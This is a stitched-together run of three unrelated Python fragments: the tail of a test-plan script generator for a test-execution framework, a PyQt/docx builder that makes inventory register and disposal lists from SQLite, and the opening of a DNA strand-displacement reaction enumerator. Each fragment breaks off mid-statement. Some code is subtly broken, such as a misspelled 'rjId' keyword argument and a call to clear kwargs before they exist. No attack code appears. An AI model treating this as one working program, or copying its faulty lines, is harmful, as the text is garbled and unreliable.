TLX.instance().log_testsuite_info(message='END', component='TESTSUITE', fromlevel=LEVEL_TE, tolevel=LEVEL_USER, flagEnd=True, flagBegin=False) testsuitestop_time = time.time() testsuiteduration = testsuitestop_time - testsuitestart_time TLX.instance().log_testsuite_stopped(result=tsMgr.getVerdictTs(), duration=testsuiteduration, nbTc=tsMgr.getNbTc(), prjId=projectid_) tsMgr.addTestDuration(duration=testsuiteduration)""", nbTab=ts['depth'] + 2)) else: te.append(TestModelCommon.indent(""" TLX.instance().log_testunit_info(message='END', component='TESTUNIT', fromlevel=LEVEL_TE, tolevel=LEVEL_USER, flagEnd=True, flagBegin=False) testunitstop_time = time.time() testunitduration = testunitstop_time - testunitstart_time TLX.instance().log_testunit_stopped(result=tsMgr.getVerdictTs(), duration=testunitduration, nbTc=tsMgr.getNbTc(), prjId=projectid_) tsMgr.addTestDuration(duration=testunitduration)""", nbTab=ts['depth'] + 2)) if isTs: te.append(TestModelCommon.indent(""" except Exception as e: if not isinstance(e, ForceStopException): return_message = "ERR_TE_000: %s" % str(e) return_code = RETURN_CODE_TE_ERROR TLX.instance().error(return_message) TLX.instance().log_testsuite_error(return_message, component='TESTSUITE', fromlevel=LEVEL_TE, tolevel=LEVEL_USER) TLX.instance().log_testsuite_info(message='END', component='TESTSUITE', fromlevel=LEVEL_TE, tolevel=LEVEL_USER, flagEnd=True, flagBegin=False) testsuitestop_time = time.time() testsuiteduration = testsuitestop_time - testsuitestart_time TLX.instance().log_testsuite_stopped(result=tsMgr.getVerdictTs(), duration=testsuiteduration, nbTc=tsMgr.getNbTc(), prjId=projectid_) tsMgr.addTestDuration(duration=testsuiteduration) if isinstance(e, ForceStopException): raise ForceStopException(e)""", nbTab=ts['depth'] - 1)) else: te.append(TestModelCommon.indent(""" except Exception as e: if not isinstance(e, ForceStopException): return_message = "ERR_TE_000: %s" % str(e) return_code = RETURN_CODE_TE_ERROR TLX.instance().error(return_message) TLX.instance().log_testunit_error(return_message, component='TESTUNIT', fromlevel=LEVEL_TE, tolevel=LEVEL_USER) TLX.instance().log_testunit_info(message='END', component='TESTUNIT', fromlevel=LEVEL_TE, tolevel=LEVEL_USER, flagEnd=True, flagBegin=False) testunitstop_time = time.time() testunitduration = testunitstop_time - testunitstart_time TLX.instance().log_testunit_stopped(result=tsMgr.getVerdictTs(), duration=testunitduration, nbTc=tsMgr.getNbTc(), rjId=projectid_) tsMgr.addTestDuration(duration=testunitduration) if isinstance(e, ForceStopException): raise ForceStopException(e)""", nbTab=ts['depth'] - 1)) i += 1 te.append(""" except Exception as e: if isinstance(e, ForceStopException) and tsMgr.isTestPlanInTestGlobal(): testplanstop_time = time.time() testplanduration = testplanstop_time - testplanstart_time tsMgr.addSubTestPlanDuration(duration=testplanduration) tsMgr.newStopTpInTg(name="aborted by force") TLX.instance().setMainId() if not isinstance(e, ForceStopException): return_code = RETURN_CODE_TE_ERROR return_message = "ERR_TE_500: %s" % str(e) TLX.instance().error(return_message) TLX.instance().log_testglobal_error(return_message, component='TESTGLOBAL', fromlevel=LEVEL_TE, tolevel=LEVEL_USER) tcMgr.endingAll() TLX.instance().setMainId() for adpId, adp in adpsMgr.getAdps().items(): try: adp.onReset() except Exception as e: TLX.instance().log_testglobal_error("shared adapter: %s" % str(e), 'TESTGLOBAL', fromlevel=LEVEL_TE, tolevel=LEVEL_USER) adp.stop() adp.join() TLX.instance().log_testglobal_info(message='END', component='TESTGLOBAL', fromlevel=LEVEL_TE, tolevel=LEVEL_USER, flagEnd=True, flagBegin=False) testglobalstop_time = time.time() testglobalduration = testglobalstop_time - testglobalstart_time TLX.instance().log_testglobal_stopped(result=tsMgr.computeResults(), duration=testglobalduration, nbTs=tsMgr.getNbTs(), nbTu=tsMgr.getNbTu(), nbTc=tsMgr.getNbTc(), prjId=projectid_) tsMgr.addTestPlanDuration(duration=testglobalduration) scriptstop_time = time.time() scriptduration = scriptstop_time - scriptstart_time TLX.instance().log_script_stopped(duration=scriptduration, finalverdict=tsMgr.computeResults(), prjId=projectid_) tsMgr.addScriptDuration(duration=scriptduration) tsMgr.saveToCsv() tsMgr.saveBasicReports(stoppedAt=scriptstop_time) tsMgr.saveReports(stoppedAt=scriptstop_time) tsMgr.saveDesigns() tsMgr.saveDesignsXml() tsMgr.saveReportsXml() tsMgr.saveVerdictToXml() # reset all adapters and libraries, just to be sure! for adpId, adp in adpsMgrALL.getAdps().items(): try: adp.onReset() adp.stop() adp.join() except Exception as e: pass try: finalize_te(return_code) except Exception as e: sys.stderr.write('%s\\n' % str(e)) TLX.finalize() Scheduler.finalize() sys.exit(return_code) """) return unicode(''.join(te)).encode('utf-8') def createTestPlan(dataTest, userName, testName, trPath, logFilename, userId=0, projectId=0, subTEs=1, parametersShared=[], stepByStep=False, breakpoint=False, testId=0, runningAgents=[], channelId=False, testLocation='', taskUuid='', var_path=''): """ Creates and returns a test suite executable @param dataTest: @type dataTest: @return: @rtype: string """ properties = dataTest['test-properties'] parameters = properties['inputs-parameters']['parameter'] descriptions = properties['descriptions']['description'] testplan = dataTest['test-execution'] projectName = ProjectsManager.instance().getProjectName(prjId=projectId) # prepare datasets missingDataset = TestModelCommon.loadDataset( parameters=parameters, user=userName) # prepare images TestModelCommon.loadImages(parameters=parameters, user=userName) # te construction te = [] # import python libraries te.append(TestModelCommon.IMPORT_PY_LIBS) # import static arguments te.append(TestModelCommon.getStaticArgs()) te.extend(appendTestArgs(taskUuid, channelId, userName, userId, projectId, projectName, testName, testLocation, trPath, logFilename, var_path)) te.append(TestModelCommon.IMPORT_INTRO) # import test executor libraries te.append(TestModelCommon.IMPORT_TE_LIBS) te.append(""" TestAdapter.setMainPath(sutPath=root) Scheduler.initialize() TestProperties.initialize() ParametersHandler = TestProperties.instance() class Cleanup(Exception): pass LEVEL_USER = 'USER' LEVEL_TE = 'TE' RETURN_CODE_OK = 0 RETURN_CODE_TE_ERROR = 13 return_code = RETURN_CODE_OK return_message = None TDS.initialize(path = result_path) TLX.initialize(task_uuid=taskuuid_, path = result_path, name = log_filename, user_ = user_, testname_ = test_name, id_ = test_id, replay_id_ = replay_id, task_id_ = task_id, userid_=userid_, channelid_=channelid_, test_result_path=full_tr_path) def initialize_te(): TCI.initialize(address=(controller_ip, int(controller_port)), name = "%s.%s" %(log_filename, task_id)) def finalize_te (return_code): TCI.finalize() initialize_te() tsMgr = TestExecutorLib.getTsMgr() tcMgr = TestExecutorLib.getTcMgr() """) te.append("""tsMgr.setNbTests(nb=%s)""" % len(testplan)) te.append(""" tsMgr.initialize(path=result_path, testname=test_name, replayId=replay_id, userId=userid_, projectId=projectid_, stepByStep=%s, breakpoint=%s, testId=%s, relativePath=test_result_path, testpath=test_location, userName=user_, projectName=projectname_)""" % (stepByStep, breakpoint, testId)) te.append(""" TestProperties.instance().initAtRunTime(cache=Cache()) def shared(project, name, subname=''): return ParametersHandler.shared(project=project, name=name, subname=subname) def input(name): return ParametersHandler.parameter(name=name, tpId=TLX.instance().mainScriptId, tsId=TLX.instance().scriptId) def setInput(name, value): return ParametersHandler.setParameter(name=name, value=value, tpId=TLX.instance().mainScriptId, tsId=TLX.instance().scriptId) def running(name): return ParametersHandler.running(name=name) get = parameter = input # backward compatibility def inputs(): return ParametersHandler.inputs(tpId=TLX.instance().mainScriptId, tsId=TLX.instance().scriptId) def descriptions(): return ParametersHandler.descriptions(tpId=TLX.instance().mainScriptId, tsId=TLX.instance().scriptId) def description(name): return ParametersHandler.description(name=name, tpId=TLX.instance().mainScriptId, tsId=TLX.instance().scriptId) """) te.append(TestModelCommon.INPUT_CUSTOM) te.append(TestModelCommon.INPUT_CACHE) te.append(""" adpsMgr = TestExecutorLib.getAdpsMgr() adpsMgrALL = TestExecutorLib.getAdpsMgrALL() scriptstart_time = time.time() TLX.instance().log_script_started() testplanstart_time = time.time() TLX.instance().log_testplan_started() TLX.instance().log_testplan_info(message='BEGIN', component='TESTPLAN', fromlevel=LEVEL_TE, tolevel=LEVEL_USER, flagEnd=False, flagBegin=True) try: """) te.append(""" ParametersHandler.addParametersShared(parameters=%s)\n""" % parametersShared) te.append(""" ParametersHandler.addParameters(parametersId=TLX.instance().mainScriptId, parameters=%s)\n""" % parameters) te.append(""" ParametersHandler.addDescriptions(descriptionsId=TLX.instance().mainScriptId, descriptions=%s)\n""" % descriptions) te.append(""" ParametersHandler.addRunningAgents(agents=%s)\n""" % runningAgents) te.append(""" tsMgr.newTp(name=test_name, dataInputs=ParametersHandler.getDataFromMain(parametersId=TLX.instance().mainScriptId), sutInputs=ParametersHandler.getSutFromMain(parametersId=TLX.instance().mainScriptId), summary=ParametersHandler.getDescrFromMain(name="summary", tpId=TLX.instance().mainScriptId), startedAt=time.strftime("%d/%m/%Y %H:%M:%S", time.localtime(time.time()))) """) te.append(""" tsMgr.setMainDescriptions(descriptions=%s) """ % descriptions) te.append(TestModelCommon.TEST_SUMMARY) te.append(TestModelCommon.TEST_SUMMARY_TP) for ds in missingDataset: te.append(""" TLX.instance().log_testplan_warning(message='Dataset %s is missing in inputs parameters.', component='TESTPLAN', fromlevel=LEVEL_TE, tolevel=LEVEL_USER) """ % ds) if not len(testplan): te.append(""" pass """) i = 0 for ts in testplan: isTs = True # prevent error with old testfile, this key is new only since the # version 17 if "parent-condition" not in ts: ts['parent-condition'] = "0" if sys.version_info > (3,): # python3 support if isinstance(ts["alias"], bytes): ts["alias"] = ts["alias"].decode("utf8") if 'extension' in ts: if ts['extension'] == RepoManager.TEST_UNIT_EXT: isTs = False if ts['enable'] != TestModelCommon.TS_ENABLED: ts['depth'] = 1 # bypass depath if isTs: te.append(TestModelCommon.indent(""" tsMgr.newTs(name="%s", isEnabled=0, nameAlias="%s", startedAt=time.strftime("%%d/%%m/%%Y %%H:%%M:%%S", time.localtime(time.time())))""" % (ts['path'], ts['alias']), nbTab=ts['depth'])) else: te.append(TestModelCommon.indent(""" tsMgr.newTu(name="%s", isEnabled=0, nameAlias="%s", startedAt=time.strftime("%%d/%%m/%%Y %%H:%%M:%%S", time.localtime(time.time())))""" % (ts['path'], ts['alias']), nbTab=ts['depth'])) if ts['enable'] == TestModelCommon.TS_ENABLED: ts['depth'] = 1 # bypass depath if isTs: te.append(TestModelCommon.indent(""" testsuitestart_time = time.time() try: """, nbTab=ts['depth'] - 1)) else: te.append(TestModelCommon.indent(""" testunitstart_time = time.time() try: """, nbTab=ts['depth'] - 1)) # prepare datasets missingDatasetTs = TestModelCommon.loadDataset( parameters=ts['properties']['inputs-parameters']['parameter'], user=userName) # prepare images missingImagesTs = TestModelCommon.loadImages( parameters=ts['properties']['inputs-parameters']['parameter'], user=userName) # new in v17 notCond = "" if ts['parent-condition'] == "1": notCond = "not" # end of new if isTs: te.append(TestModelCommon.indent(""" tsMgr.newTs(name="%s", isEnabled=%s, nameAlias="%s", startedAt=time.strftime("%%d/%%m/%%Y %%H:%%M:%%S", time.localtime(time.time())), testPath=r"%s", testProject="%s") if %s TLX.instance().allPassed(tsId = "%s", notCond="%s"):""" % (ts['path'], ts['enable'], ts['alias'], ts["testpath"], ts["testproject"], notCond, ts['parent'], notCond), nbTab=ts['depth'] + 1)) else: te.append(TestModelCommon.indent(""" tsMgr.newTu(name="%s", isEnabled=%s, nameAlias="%s", startedAt=time.strftime("%%d/%%m/%%Y %%H:%%M:%%S", time.localtime(time.time())), testPath=r"%s", testProject="%s") if %s TLX.instance().allPassed(tsId = "%s", notCond="%s"):""" % (ts['path'], ts['enable'], ts['alias'], ts["testpath"], ts["testproject"], notCond, ts['parent'], notCond), nbTab=ts['depth'] + 1)) te.append(TestModelCommon.indent(""" TLX.instance().setUniqueId("%s", tsId = "%s") """ % (ts['path'], ts['id']), nbTab=ts['depth'] + 2)) if isTs: te.append(TestModelCommon.indent(""" tsMgr.isTestStarted() TLX.instance().log_testsuite_started(tid='%s', alias='%s', name='%s') TLX.instance().log_testsuite_info(message='BEGIN', component='TESTSUITE', fromlevel=LEVEL_TE, tolevel=LEVEL_USER, flagEnd=False, flagBegin=True) # !! test injection """ % (ts['id'], ts['alias'], ts['path']), nbTab=ts['depth'] + 2)) else: te.append(TestModelCommon.indent(""" tsMgr.isTestStarted() TLX.instance().log_testunit_started(tid='%s', alias='%s', name='%s') TLX.instance().log_testunit_info(message='BEGIN', component='TESTUNIT', fromlevel=LEVEL_TE, tolevel=LEVEL_USER, flagEnd=False, flagBegin=True) # !! test injection """ % (ts['id'], ts['alias'], ts['path']), nbTab=ts['depth'] + 2)) for dsTs in missingDatasetTs: if isTs: te.append(TestModelCommon.indent(""" TLX.instance().log_testsuite_warning(message='Dataset %s is missing in inputs parameters', component='TESTSUITE', fromlevel=LEVEL_TE, tolevel=LEVEL_USER) """ % dsTs, nbTab=ts['depth'] + 2)) else: te.append(TestModelCommon.indent(""" TLX.instance().log_testunit_warning(message='Dataset %s is missing in inputs parameters', component='TESTUNIT', fromlevel=LEVEL_TE, tolevel=LEVEL_USER) """ % dsTs, nbTab=ts['depth'] + 2)) te.append("\n") for imgTs in missingImagesTs: if isTs: te.append(TestModelCommon.indent(""" TLX.instance().log_testsuite_warning(message='Image %s is missing in inputs parameters', component='TESTSUITE', fromlevel=LEVEL_TE, tolevel=LEVEL_USER) """ % imgTs, nbTab=ts['depth'] + 2)) else: te.append(TestModelCommon.indent(""" TLX.instance().log_testunit_warning(message='Image %s is missing in inputs parameters', component='TESTUNIT', fromlevel=LEVEL_TE, tolevel=LEVEL_USER) """ % imgTs, nbTab=ts['depth'] + 2)) te.append("\n") te.append(TestModelCommon.indent( """ParametersHandler.addParameters(parametersId=TLX.instance().scriptId, parameters = %s)""" % ts['properties']['inputs-parameters']['parameter'], nbTab=ts['depth'] + 2)) te.append("\n") te.append(TestModelCommon.indent("""ParametersHandler.addDescriptions(descriptionsId=TLX.instance().scriptId, descriptions = %s)""" % ts['properties']['descriptions']['description'], nbTab=ts['depth'] + 2)) te.append("\n") te.append( TestModelCommon.indent( """tsMgr.addSummary(summary=ParametersHandler.description(name="summary", tpId=TLX.instance().mainScriptId, tsId=TLX.instance().scriptId))""", nbTab=ts['depth'] + 2)) te.append("\n") te.append( TestModelCommon.indent( """tsMgr.addInputs(dataInputs=ParametersHandler.data(tpId=TLX.instance().mainScriptId, tsId=TLX.instance().scriptId), sutInputs=ParametersHandler.sut(tpId=TLX.instance().mainScriptId, tsId=TLX.instance().scriptId))""", nbTab=ts['depth'] + 2)) te.append("\n") if isTs: te.append( TestModelCommon.indent( "from SubTE%s import *" % i, nbTab=ts['depth'] + 2)) else: te.append( TestModelCommon.indent( "from SubTE%s import *" % i, nbTab=ts['depth'] + 2)) te.append("\n") if isTs: te.append( TestModelCommon.indent( ts['test-execution'], nbTab=ts['depth'] + 2)) else: te.append( TestModelCommon.indent( "TESTCASE(suffix=None, testName='%s' % description('name')).execute()", nbTab=ts['depth'] + 2)) if isTs: te.append(TestModelCommon.indent(""" TLX.instance().log_testsuite_info(message='END', component='TESTSUITE', fromlevel=LEVEL_TE, tolevel=LEVEL_USER, flagEnd=True, flagBegin=False) testsuitestop_time = time.time() testsuiteduration = testsuitestop_time - testsuitestart_time TLX.instance().log_testsuite_stopped(result=tsMgr.getVerdictTs(), duration=testsuiteduration, nbTc=tsMgr.getNbTc(), prjId=projectid_) tsMgr.addTestDuration(duration=testsuiteduration)""", nbTab=ts['depth'] + 2)) else: te.append(TestModelCommon.indent(""" TLX.instance().log_testunit_info(message='END', component='TESTUNIT', fromlevel=LEVEL_TE, tolevel=LEVEL_USER, flagEnd=True, flagBegin=False) testunitstop_time = time.time() testunitduration = testunitstop_time - testunitstart_time TLX.instance().log_testunit_stopped(result=tsMgr.getVerdictTs(), duration=testunitduration, nbTc=tsMgr.getNbTc(), prjId=projectid_) tsMgr.addTestDuration(duration=testunitduration)""", nbTab=ts['depth'] + 2)) if isTs: te.append(TestModelCommon.indent(""" except Exception as e: if not isinstance(e, ForceStopException): return_message = "ERR_TE_000: %s" % str(e) return_code = RETURN_CODE_TE_ERROR TLX.instance().error(return_message) TLX.instance().log_testsuite_error(return_message, component='TESTSUITE', fromlevel=LEVEL_TE, tolevel=LEVEL_USER) TLX.instance().log_testsuite_info(message='END', component='TESTSUITE', fromlevel=LEVEL_TE, tolevel=LEVEL_USER, flagEnd=True, flagBegin=False) testsuitestop_time = time.time() testsuiteduration = testsuitestop_time - testsuitestart_time TLX.instance().log_testsuite_stopped(result=tsMgr.getVerdictTs(), duration=testsuiteduration, nbTc=tsMgr.getNbTc(), prjId=projectid_) tsMgr.addTestDuration(duration=testsuiteduration) if isinstance(e, ForceStopException): raise ForceTerminateTestException(e)""", nbTab=ts['depth'] - 1)) else: te.append(TestModelCommon.indent(""" except Exception as e: if not isinstance(e, ForceStopException): return_message = "ERR_TE_000: %s" % str(e) return_code = RETURN_CODE_TE_ERROR TLX.instance().error(return_message) TLX.instance().log_testunit_error(return_message, component='TESTUNIT', fromlevel=LEVEL_TE, tolevel=LEVEL_USER) TLX.instance().log_testunit_info(message='END', component='TESTUNIT', fromlevel=LEVEL_TE, tolevel=LEVEL_USER, flagEnd=True, flagBegin=False) testunitstop_time = time.time() testunitduration = testunitstop_time - testunitstart_time TLX.instance().log_testunit_stopped(result=tsMgr.getVerdictTs(), duration=testunitduration, nbTc=tsMgr.getNbTc(), prjId=projectid_) tsMgr.addTestDuration(duration=testunitduration) if isinstance(e, ForceStopException): raise ForceTerminateTestException(e)""", nbTab=ts['depth'] - 1)) i += 1 te.append(""" except Exception as e: TLX.instance().setMainId() if not isinstance(e, ForceTerminateTestException): return_code = RETURN_CODE_TE_ERROR return_message = "ERR_TE_600: %s" % e TLX.instance().error(return_message) TLX.instance().log_testplan_error(message=return_message, component='TESTPLAN', fromlevel=LEVEL_TE, tolevel=LEVEL_USER) tcMgr.endingAll() TLX.instance().setMainId() for adpId, adp in adpsMgr.getAdps().items(): try: adp.onReset()
# -*- coding: utf-8 -*- """ @author: alchenerd (<EMAIL>) """ import datetime import os import sqlite3 import sys from copy import copy, deepcopy import comtypes import comtypes.client import xlwt from docx import Document from docx.enum.style import WD_STYLE_TYPE from docx.enum.text import WD_PARAGRAPH_ALIGNMENT from docx.oxml.ns import qn from docx.shared import Pt from PyQt5.QtCore import pyqtSignal, QObject from myconnect import connect if __name__ == '__main__': # at mydocbuilder sys.path.append('../') wdFormatPDF = 17 # magic constant but I'm too lazy to change case class DocBuilder(QObject): """DocBuilder is a customized docx creator exclusively for hvhnonc.""" # emits max, current, msg status_update = pyqtSignal(int, int, str) def __init__(self, type_: str = 'default', **kwargs): super(QObject, self).__init__() self.actions = { 'default': self.hello_docx, 'register_list': self.create_register_list, 'unregister_list': self.create_unregister_list, 'monthly_report': self.create_monthly_report, 'full_report': self.create_full_report} if self.actions.get(type_, None): self.type_ = type_ else: self.type_ = 'default' self.kwargs.clear() self.kwargs = kwargs.get('kwargs') def set_type(self, type_: str = 'default'): """Sets the type of which kind of document is going to be built.""" self.type_ = type_ def set_kwargs(self, **kwargs): """Sets the form info into the doc builder.""" self.kwargs = deepcopy(kwargs) def construct(self): """Constructs a docx and save it.""" # see self.actions for individual construct functions self.actions[self.type_]() def hello_docx(self): """Makes a dummy hello docx document.""" self.status_update.emit(1, 1, "You shouldn't be seeing this, hmm.") document = Document() document.add_heading('Hello .docx!', 0) p = document.add_paragraph('This is my test paragraph!') records = ((2, 9, 4), (7, 5, 3), (6, 1, 8)) table = document.add_table(rows=0, cols=3) for x, y, z in records: rowCells = table.add_row().cells rowCells[0].text = str(x) rowCells[1].text = str(y) rowCells[2].text = str(z) document.save('result.docx') def setMyFont(self, doc): """Set normal font of doc as my font.""" doc.styles['Normal'].font.name = u'標楷體' doc.styles['Normal'].font.size = Pt(12) doc.styles['Normal']._element.rPr.rFonts.set( qn('w:eastAsia'), u'標楷體') def docx_to_pdf(self, in_file, out_file): comtypes.CoInitialize() word = comtypes.client.CreateObject('Word.Application') docx = word.Documents.Open(in_file) docx.SaveAs(out_file, FileFormat=wdFormatPDF) docx.Close() word.Quit() def create_register_list(self): """Creates a register list, saves data as excel, docx, and pdf.""" def fetch_from_database(d): """Returns a list of sqlite3.Row as data""" con, cur = connect._get_connection(useSQL3Row=True) sqlstr = ('select {columns} from {table} where {conditions}') replacements = {} # columns: object_ID, serial_ID, name, spec, unit, amount, price, # acquire_date, keep_year, keep_department, place, keeper replacements['columns'] = ', '.join(( 'ID', 'object_ID', 'serial_ID', 'name', 'spec', 'unit', 'amount', 'price', 'acquire_date', 'keep_year', 'keep_department', 'place', 'keeper')) # table: hvhnonc_in replacements['table'] = 'hvhnonc_in' # conditions: determined by d replacements['conditions'] = '' params = [] for k, v in d.items(): if 'date' in k: # date string tuple replacements['conditions'] += \ '({} between ? and ?) and '.format(k) params.extend(v) else: replacements['conditions'] += \ ('{0} like ? and '.format(k)) params.append('%' + v + '%') replacements['conditions'] += '1' # fill in the blanks sqlstr = sqlstr.format(**replacements) cur.execute(sqlstr, params) data = cur.fetchall() con.close() return data def parse_for_document(rows): """Parse sqlite3 rows to list of list for document table uses.""" if len(rows) == 0: return [[]] result = [] colTitle = ['物品編號', '物品名稱', '規格', '單位', '數量', '單價', '總價', '取得日期', '使用年限', '存置地點', '保管或使用單位', '保管或使用人'] result.append(colTitle) # data for row in rows: # result row rrow = [] # rrow[0]: objid + serial obj_ID = row['object_ID'].replace(' ', '') s = '-'.join((obj_ID, row['serial_ID'])) rrow.append(s) # rrow[1:6]: name, spec, unit, amount, price rrow.append(str(row['name'])) rrow.append(str(row['spec'])) rrow.append(str(row['unit'])) rrow.append(str(row['amount'])) rrow.append(str(row['price'])) # rrow[6]: total price rrow.append(str(row['amount'] * row['price'])) # rrow[7]: acquire_date(EE/mm/dd) date = list(map(int, row['acquire_date'].split('-'))) date[0] = date[0] - 1911 date = list(map(lambda x: str(x).zfill(2), date)) rrow.append('/'.join(date)) # rrow[8:12]: keep_year, keep_department, place, keeper rrow.append(str(row['keep_year'])) rrow.append(str(row['place'])) rrow.append(str(row['keep_department'])) rrow.append(str(row['keeper'])) result.append(rrow) print(result) return result def write_to_excel(arr, fn): """Save 2d list to result.excel.""" wb = xlwt.Workbook() ws = wb.add_sheet('result') for rc, row in enumerate(arr): for cc, column in enumerate(row): try: ws.write(r=rc, c=cc, label=column) except: # skip if encounter problems continue wb.save(fn) def update_add_list_id(data): """Write add_list_ID to database. For now we use document creation date(today).""" today = datetime.date.today() today_str_zfill = (str(today.year), str(today.month).zfill(2), str(today.day).zfill(2)) string_today = '-'.join(today_str_zfill) con, cur = connect._get_connection() for row in data: id = row['ID'] sqlstr = ('update hvhnonc_in set add_list_ID = ? where ID = ?') params = (string_today, id) cur.execute(sqlstr, params) con.commit() con.close() def construct_docx(data, status_update): """Open template, then modify according to rowCount.""" doc = Document('./mydocbuilder/register_list_template.docx') # set font to 標楷體(16) self.setMyFont(doc) # fill in the header header = doc.sections[0].header replaceRow = header.tables[0].rows[0] # fill in department target_paragraph = replaceRow.cells[0].paragraphs[0] target_paragraph.text = \ target_paragraph.text.format(**{'dept': '秘書室'}) target_paragraph.alignment = WD_PARAGRAPH_ALIGNMENT.CENTER # fill in the date target_paragraph = replaceRow.cells[1].paragraphs[0] today = datetime.date.today() s = [str(today.year - 1911), str(today.month).zfill(2), str(today.day).zfill(2)] s = '中華民國{0}年{1}月{2}日'.format(*s) target_paragraph.text = s target_paragraph.alignment = WD_PARAGRAPH_ALIGNMENT.CENTER for i, datum in enumerate(data[1:]): row = doc.tables[0].add_row() for cc, cell in enumerate(row.cells): cell.paragraphs[0].text = datum[cc] self.status_update.emit( 6, 4, 'writing word file({}/{})...'.format(i, len(data) - 2)) return doc self.status_update.emit(6, 0, 'initalizing...') #0/6 #print('create_register_list') # fetch data from database self.status_update.emit(6, 1, 'fetching...') #1/6 data = fetch_from_database(self.kwargs) # parse data for xls, docx self.status_update.emit(6, 2, 'parsing...') #2/6 data_parsed = parse_for_document(data) # write data and save to excel self.status_update.emit(6, 3,'writing excel file...') #3/6 write_to_excel(data_parsed, 'result.xls') # write to docx template #status update 4/6 is in the function document = construct_docx(data_parsed, self.status_update) # save .docx document.save('result.docx') # convert to pdf and save (using current working directory) self.status_update.emit(6, 5,'converting to pdf...') #5/6 cwd = os.getcwd() self.docx_to_pdf(cwd + '\\\\result.docx', cwd + '\\\\result.pdf') # update add_list_ID using sql Row data update_add_list_id(data) self.status_update.emit(6, 6,'Done!') #6/6 def create_unregister_list(self): """Creates an unregister list, saves data as excel, docx, and pdf.""" def fetch_from_database(d): """Returns a list of sqlite3.Row as data""" print(d) con, cur = connect._get_connection(useSQL3Row=True) con.set_trace_callback(print) sqlstr = ( 'select {columns} ' 'from {intable} as i ' 'inner join {outtable} as o ' 'on i.ID=o.in_ID ' 'and {conditions}') replacements = {} # columns: object_ID, serial_ID, name, spec, unit, # unregister amount, date, keep year, used year, reason, # remark replacements['columns'] = ( 'i.object_ID as object_ID, i.serial_ID as serial_ID, ' 'i.name as name, i.spec as spec, i.unit as unit, ' 'o.amount as amount, o.unregister_date as unregister_date, ' 'i.keep_year as keep_year, i.acquire_date as acquire_date, ' 'o.reason as reason, o.unregister_remark as remark') replacements['intable'] = 'hvhnonc_in' replacements['outtable'] = 'hvhnonc_out' # conditions: determined by d replacements['conditions'] = '' params = [] for k, v in d.items(): if 'date' in k: if k == 'acquire_date': # special case # date string tuple replacements['conditions'] += \ '(unregister_date between ? and ?) and ' params.extend(v) else: # date string tuple replacements['conditions'] += \ '({} between ? and ?) and '.format(k) params.extend(v) else: replacements['conditions'] += \ ('{0} like ? and '.format(k)) params.append('%' + v + '%') replacements['conditions'] += '1' # fill in the blanks sqlstr = sqlstr.format(**replacements) print(sqlstr) cur.execute(sqlstr, params) data = cur.fetchall() con.close() for row in data: print(', '.join([str(row[k]) for k in row.keys()])) return data def parse_for_document(rows): """Parse sqlite3 rows to list of list for document table uses.""" if len(rows) == 0: return [[]] result = [] colTitle = ['物品編號', '物品名稱', '規格', '單位', '數量', '取得日期', '使用年限', '已使用期間', '報廢原因', '審核意見', '備註'] result.append(colTitle) # data for row in rows: # result row rrow = [] # rrow[0]: objid + serial obj_ID = row['object_ID'].replace(' ', '') s = '-'.join((obj_ID, row['serial_ID'])) rrow.append(s) # rrow[1:5]: name, spec, unit, amount rrow.append(str(row['name'])) rrow.append(str(row['spec'])) rrow.append(str(row['unit'])) rrow.append(str(row['amount'])) # rrow[5]: acquire_date(EE/mm/dd) date = list(map(int, row['acquire_date'].split('-'))) date[0] = date[0] - 1911 date = list(map(lambda x: str(x).zfill(2), date)) rrow.append('/'.join(date)) # rrow[6]: keep_year rrow.append(str(row['keep_year'])) # rrow[7]: time used: '(y/m)' # used time(in months) calculate in acquire and retire date acqY, acqM, acqD = map(int, row['acquire_date'].split('-')) retY, retM, retD = map(int, row['unregister_date'].split('-')) hasRemain = int(retD - acqD > 0) detY = retY - acqY detM = retM - acqM + hasRemain if detM < 0: detY -= 1 detM += 12 delta = (str(detY), str(detM)) delta = '(' + '/'.join(delta) + ')' rrow.append(delta) # rrow[8]: reason rrow.append(str(row['reason'])) # rrow[9]: approval remarks, left blank rrow.append('') # rrow[10]: remark rrow.append(str(row['remark'])) result.append(rrow) print(result) return result def write_to_excel(arr, fn): """Save 2d list to result.xls.""" wb = xlwt.Workbook() ws = wb.add_sheet('result') for rc, row in enumerate(arr): for cc, column in enumerate(row): try: ws.write(r=rc, c=cc, label=column) except: # skip if encounter problems continue wb.save(fn) def construct_docx(data, status_update): """Open template, then modify according to rowCount.""" doc = Document('./mydocbuilder/unregister_list_template.docx') # set font to 標楷體(12) self.setMyFont(doc) # fill in the header header = doc.sections[0].header replaceRow =
<gh_stars>1-10 # # peppercornenumerator/reactions.py # EnumeratorProject # import logging log = logging.getLogger(__name__) from dsdobjects.complex_utils import (make_pair_table, pair_table_to_dot_bracket, make_strand_table, strand_table_to_sequence, make_loop_index) from .utils import wrap from .objects import (SingletonError, PepperComplex, PepperReaction, Loop) from .ratemodel import (unimolecular_binding_rate, bimolecular_binding_rate, opening_rate, branch_3way_remote_rate, branch_4way_remote_rate) def bind11(reactant, max_helix = True): """ Returns a list of reaction pathways which can be produced by 1-1 binding reactions of the argument complex. The 1-1 binding reaction is the hybridization of two complementary unpaired domains within a single complex to produce a single unpseudoknotted product complex. """ reactions = set() structure = list(reactant.pair_table) for (strand_index, strand) in enumerate(structure): for (domain_index, domain) in enumerate(strand): # The displacing domain must be free if structure[strand_index][domain_index] is not None : continue start_loc = (strand_index, domain_index) # search (one direction) around the loop for an open domain that can be bound. results = find_on_loop(reactant, start_loc, filter_bind11) assert len(results) == len(find_on_loop(reactant, start_loc, filter_bind11, direction = -1)) for e, (invader, before, target, after) in enumerate(results): if max_helix: invader, before, target, after = zipper( reactant, invader[0], before, target[0], after, filter_bind11) results[e] = list(map(Loop, [invader, before, target, after])) # build products for (loc1s, before, loc2s, after) in results: # Should be reversed loc2s right? assert [x == ~y for x,y in zip(loc1s.domains, loc2s.domains)] product = do_bind11(reactant, loc1s.domain_locs, loc2s.domain_locs) reaction = PepperReaction([reactant], [product], 'bind11') if reaction.rate_constant[0] is None: reaction.rate_constant = (unimolecular_binding_rate(loc1s.dlength, before, after), '/s') reactions.add(reaction) return sorted(reactions) def do_bind11(reactant, loc1s, loc2s): """ Returns PepperComplex after the bind11 reaction. """ news = list(reactant.pair_table) for loc1, loc2 in zip(loc1s, loc2s): assert news[loc1[0]][loc1[1]] is None assert news[loc2[0]][loc2[1]] is None news[loc1[0]][loc1[1]] = loc2 news[loc2[0]][loc2[1]] = loc1 newstr = pair_table_to_dot_bracket(news) try: new = PepperComplex(list(reactant.sequence), newstr) except SingletonError as err: new = err.existing return new def bind21(reactant1, reactant2, max_helix = 